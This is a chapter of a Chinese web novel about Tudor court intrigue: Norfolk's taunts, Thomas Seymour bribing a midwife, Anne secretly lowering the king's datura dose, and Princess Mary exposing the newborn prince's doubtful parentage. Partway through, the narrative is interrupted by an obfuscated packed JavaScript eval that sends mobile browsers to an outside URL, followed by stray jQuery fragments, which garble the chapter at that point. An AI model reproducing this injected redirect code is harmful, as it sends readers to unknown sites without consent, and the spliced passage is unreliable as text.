伦敦塔的阴影尚未从托马斯·霍华德身上完全褪去，但格林威治宫的金色长廊里，他已重新挺直了脊梁。天鹅绒礼服裹着他枯瘦的身躯，红宝石戒指在烛光下闪着不祥的光。他端着酒杯，穿过恭维的人群，目标明确地停在安妮面前。


    “安妮夫人，”诺福克的声音像锉刀刮过生锈的铁片，带着一丝刻意压低的得意，“命运真是奇妙，不是吗？昨日阶下囚，今日……托陛下洪福，托我那甥女腹中‘龙种’的福泽，又能在此与您共饮了。”他浑浊的老眼死死盯着安妮，嘴角那点笑意冰冷刺骨，是赤裸裸的示威。


    安妮手中的水晶杯映着烛火，琥珀色的加冕蜜微微晃动。她脸上没什么表情，只淡淡举杯：“公爵大人能重获自由，自然是英格兰之福。” 话里听不出半分情绪。


    诺福克哼笑一声，目光扫过远处被贵族们刻意冷落的西摩兄弟——爱德华面沉如水，托马斯则挂着他惯常的迷人假笑，眼神却像淬了毒的刀子，正死死剜向这边。


    “西摩家？”诺福克的声音带着毫不掩饰的恶毒快意，“跳梁小丑罢了。以为凭着几条捏造的‘罪证’就能扳倒霍华德？陛下圣明烛照，岂容宵小蒙蔽？如今真相大白，王后怀有龙裔，天佑我王！那些构陷忠良的……”他故意提高音量，确保足够多的人听见，“迟早要付出代价！”


    托马斯·西摩捏着酒杯的手指关节发白，脸上笑容不变，蓝色的眼眸深处却翻涌着暴戾的杀意。他仰头将杯中酒一饮而尽，转身隐入喧闹的人群阴影里。


    诺福克满意地看着托马斯消失的方向，又转向安妮，压低了声音，每个字都像毒蛇吐信：“夫人是聪明人。这宫里的风向，瞬息万变。依附错了人……可是会粉身碎骨的。您说呢？” 他意有所指地瞥了一眼西摩兄弟刚才站立的位置。


    安妮迎上他那双浑浊却锐利如鹰隼的眼睛，平静无波：“公爵大人教诲的是。我只知尽心为陛下调制‘舒络蜜’，愿陛下龙体康泰，社稷安稳。至于其他，非我所愿，亦非我能。”


    诺福克盯着她看了几秒，似乎在判断她话里有几分真意。最终，他扯出一个干瘪的笑容，举起杯：“好！为陛下的安康，为王后腹中未来的英格兰国王……干杯！”


    清脆的碰杯声淹没在宫廷乐队的演奏里。诺福克带着胜利者的姿态转身离去，留下安妮独自站在喧嚣的灯火阑珊处。她指尖冰凉，杯中的“加冕蜜”映着璀璨灯火，却像一泓深不见底的寒潭。


    * * *


    深夜，圣詹姆斯宫爱德华王子寝殿外。托马斯·西摩像幽灵般隐在爬满藤蔓的石柱阴影里。一个佝偻着背、裹着厚厚头巾的老妇人，被他的贴身侍从威廉引了过来。


    “爵士……”老妇人声音发颤，满是皱纹的手紧紧攥着一个粗布小包，正是凯瑟琳寝宫新来的接生嬷嬷之一，玛莎。


    托马斯没说话，只从阴影里伸出手。一枚沉甸甸、刻着西摩家徽的金币，无声地落入玛莎粗糙的掌心。金币冰冷的触感让她哆嗦了一下。


    “东西呢？”托马斯的声音压得极低，像夜风吹过枯叶。


    玛莎紧张地左右张望，抖着手打开粗布包。里面不是婴儿衣物，而是一小撮柔软的、带着自然卷曲的深棕色头发，用细绳小心束着，还有一块折叠得整整齐齐、洗得发白却质地精良的男士亚麻手帕，角落绣着一个花体的“T.C.”——托马斯·卡尔佩珀名字的缩写。


    “这……这是王后贴身藏着，压在枕头最下面的……”玛莎的声音带着恐惧，“头发……是卡尔佩珀大人上次探望王后时，王后偷偷剪下的……手帕也是他的……王后昏睡时，一直攥着……”


    托马斯眼中寒光一闪，迅速将头发和手帕收进自己贴身的丝绒袋里，又摸出两枚同样的金币塞给玛莎：“闭紧你的嘴。王后生产那晚，无论发生什么，第一个抱孩子出产房的，必须是你！记住孩子的模样，尤其是头发！事成之后，足够你全家离开英格兰，去法兰西安度余生。”他的声音带着不容置疑的蛊惑与威胁。


    玛莎攥紧了金币，像抓住救命稻草，又像捧着烧红的烙铁，佝偻的身影很快消失在通往仆人区的黑暗小径中。


    托马斯·西摩从阴影里踱出，月光照亮他半边英俊而冷酷的脸。他掂量着手中轻飘飘却又重逾千斤的丝绒袋，嘴角勾起一抹冰冷的弧度。诺福克？你以为靠一个野种就能翻身？真正的风暴，才刚要开始。他需要一把更锋利的刀，一个能在风暴中心引爆惊雷的人。


    他的目光，投向了格林威治宫深处，玛丽公主那常年紧闭、弥漫着熏香和祈祷气息的寝殿方向。


    * * *


    里士满，安娜宫的书房。烛光下，安妮的羽毛笔尖悬在羊皮纸上，墨迹迟迟未落。老约翰肃立一旁，低沉的嗓音带来格林威治宫最新的暗涌：


    “诺福克公爵府邸近日访客如云，多是北方旧族。苏珊夫人（诺福克之女）频繁出入王后寝宫，带去各种‘安胎补品’……西摩兄弟闭门不出，但昨夜，托马斯爵士的贴身侍从威廉，在圣詹姆斯宫后墙阴影里，秘密会见了一个王后寝宫新来的接生婆，玛莎……随后，威廉又去了玛丽公主寝殿侧门，停留了约一炷香时间……另外，陛下对‘舒络蜜’的依赖日深，新送去的加倍提纯药液，几乎每日都要消耗半瓶……”


    安妮搁下笔。诺福克在集结力量，为凯瑟琳生产造势；托马斯·西摩在暗中收买关键人物，目标直指婴儿血统；而玛丽公主……这个被旧教狂热和对霍华德刻骨仇恨驱动的长公主，无疑成了西摩家最理想的刀。


    “风暴眼……”安妮低声自语，指尖无意识划过桌上胡椒狗温热的皮毛。狗儿抬起头，湿润的黑眼睛看着她，喉咙里发出低低的呜咽，仿佛也嗅到了远方逼近的血腥。


    “约翰大叔，”安妮抬眼，目光沉静却锐利，“让我们的人，盯紧那个接生婆玛莎。还有，陛下那边……新一批‘舒络蜜’的曼陀罗浸提液，剂量再减三成。” 减量，是为了让亨利在关键时刻能保持一丝清醒的判断。这或许微不足道，但可能是风暴中唯一能抓住的稻草。


    “是，夫人。”老约翰应下，眼中闪过一丝忧虑，“那公主殿下（伊丽莎白）……”


    “贝丝最近在做什么？”安妮问。


    “公主殿下在塔楼观星台，绘制新的星图，说是木星与土星即将交汇，今夜是最佳观测时辰。”老约翰答道。


    安妮望向窗外深邃的夜空，繁星点点。“让她看吧。” 她的声音带着一丝疲惫的温柔，“能多看一夜的星星……也是好的。”


    * * *


    时间在紧绷的空气中滑向深秋。格林威治宫的花园里，金黄的落叶铺满了小径。


    凯瑟琳的肚子像吹气般一天天高高隆起，华贵的裙袍也难以完全掩饰那份沉甸。她脸上有了血色，诺福克和苏珊送来的珍馐补品源源不断。亨利偶尔会在玛丽的搀扶下，“路过”她的寝宫外，隔着门听御医钱伯斯禀报“胎儿强健，王后安好”。亨利浑浊的眼中会闪过一丝复杂的、难以言喻的光芒，是期待？是疑虑？无人能懂。


    诺福克的腰板挺得更直了。他在枢密院重新拥有了座位（尽管是边缘），话语的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155931|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分量随着凯瑟琳的产期临近而日益加重。他看向西摩兄弟的眼神，充满了毫不掩饰的轻蔑和报复的快意。爱德华·西摩越发沉默阴郁，托马斯则依旧挂着那副玩世不恭的笑脸，只是眼底的寒冰越来越厚。


    终于，在一个狂风骤起的深夜，格林威治宫被一声凄厉的尖叫撕裂！


    “啊——！”


    凯瑟琳·霍华德的寝宫瞬间灯火通明，人影慌乱奔走。痛苦的嘶喊一阵高过一阵，穿透厚重的宫墙。


    “要生了！王后要生了！” 喊声如同投入滚油的火星，瞬间点燃了整个死寂的宫廷。


    亨利八世被惊醒，巨大的身躯猛地坐起，痛风带来的剧痛让他瞬间冷汗涔涔。“药！给朕药！”他嘶吼着，布满血丝的眼睛死死瞪着凯瑟琳寝宫的方向。


    玛丽公主第一个冲到了产房外。她深色的裙裾像一片不祥的乌云，盘踞在紧闭的雕花木门前。里面是凯瑟琳撕心裂肺的哭喊和产婆们急促的指令声。


    托马斯·西摩悄无声息地出现在长廊的另一端，斜倚着冰冷的石柱，蓝色的眼眸在昏暗的光线下亮得惊人，像等待猎物的夜枭。诺福克公爵也在侍卫的簇拥下匆匆赶来，老脸上交织着狂热的期待和一丝不易察觉的紧张。爱德华·西摩则站在更远的阴影里，像一尊沉默的石像。


    时间在煎熬中一点点流逝。凯瑟琳的喊声渐渐变得嘶哑、微弱。突然，一声嘹亮、尖锐、充满生命力的啼哭，如同利剑般刺破了所有的嘈杂和压抑的等待！


    “生了！生了！是个王子！” 产房内爆发出惊喜的呼喊。


    诺福克紧绷的老脸瞬间被狂喜淹没，他激动地抓住身边侍卫的手臂，几乎要老泪纵横：“天佑霍华德！天佑英格兰！”


    托马斯·西摩嘴角那抹玩味的笑意加深了，他直起身，目光如同精准的箭矢，投向那扇即将开启的房门。


    亨利挣扎着想要下床，被内侍死死拦住：“陛下！您不能动啊！御医马上就来禀报！”


    就在这时，产房的门“吱呀”一声被推开。然而，抱着襁褓第一个走出来的，并非接生嬷嬷，而是玛丽公主！


    她脸色苍白得吓人，深陷的眼窝里燃烧着一种近乎疯狂的、冰冷的火焰。她怀中的明黄色襁褓里，一张皱巴巴的小脸露在外面，稀疏的胎发紧贴着头皮，在明亮的烛火下，呈现出一种与亨利耀眼的金发、与凯瑟琳的浅金发都截然不同的、柔和的深棕色！


    玛丽抱着婴儿，如同抱着一个即将引爆的炸弹，一步一步，踏着沉重的步伐，在所有人惊愕、疑惑、恐惧的目光注视下，径直穿过长廊，走向灯火通明、乐声未歇的宴会大厅！那里，不知情的贵族们仍在举杯欢庆“王子”的诞生！


    她身后的产房门口，接生婆玛莎脸色惨白如鬼，瘫软在地，被两个玛丽带来的、身强力壮的旧教嬷嬷死死按住。


    诺福克脸上的狂喜瞬间冻结，化为难以置信的惊恐：“玛丽殿下！您这是……”


    玛丽没有回头，也没有停下脚步。她抱着啼哭的婴儿，如同复仇女神降临尘世，在死寂一片的宴会厅中央站定。璀璨的水晶吊灯将她和怀中的婴儿照得无所遁形。


    她抬起头，冰冷刺骨的目光穿透人群，精准地投向主位上闻讯匆匆赶来的、被侍卫搀扶着的亨利八世。她的声音不高，却如同惊雷，炸响在每一个人的耳边，带着玉石俱焚般的决绝：


    “父王！” 她高高托起怀中那个有着深棕色头发的婴儿，“请陛下，当廷验血——以证此子血脉！看他究竟是否我亨利·都铎的骨肉！是否配得上这英格兰的王座！”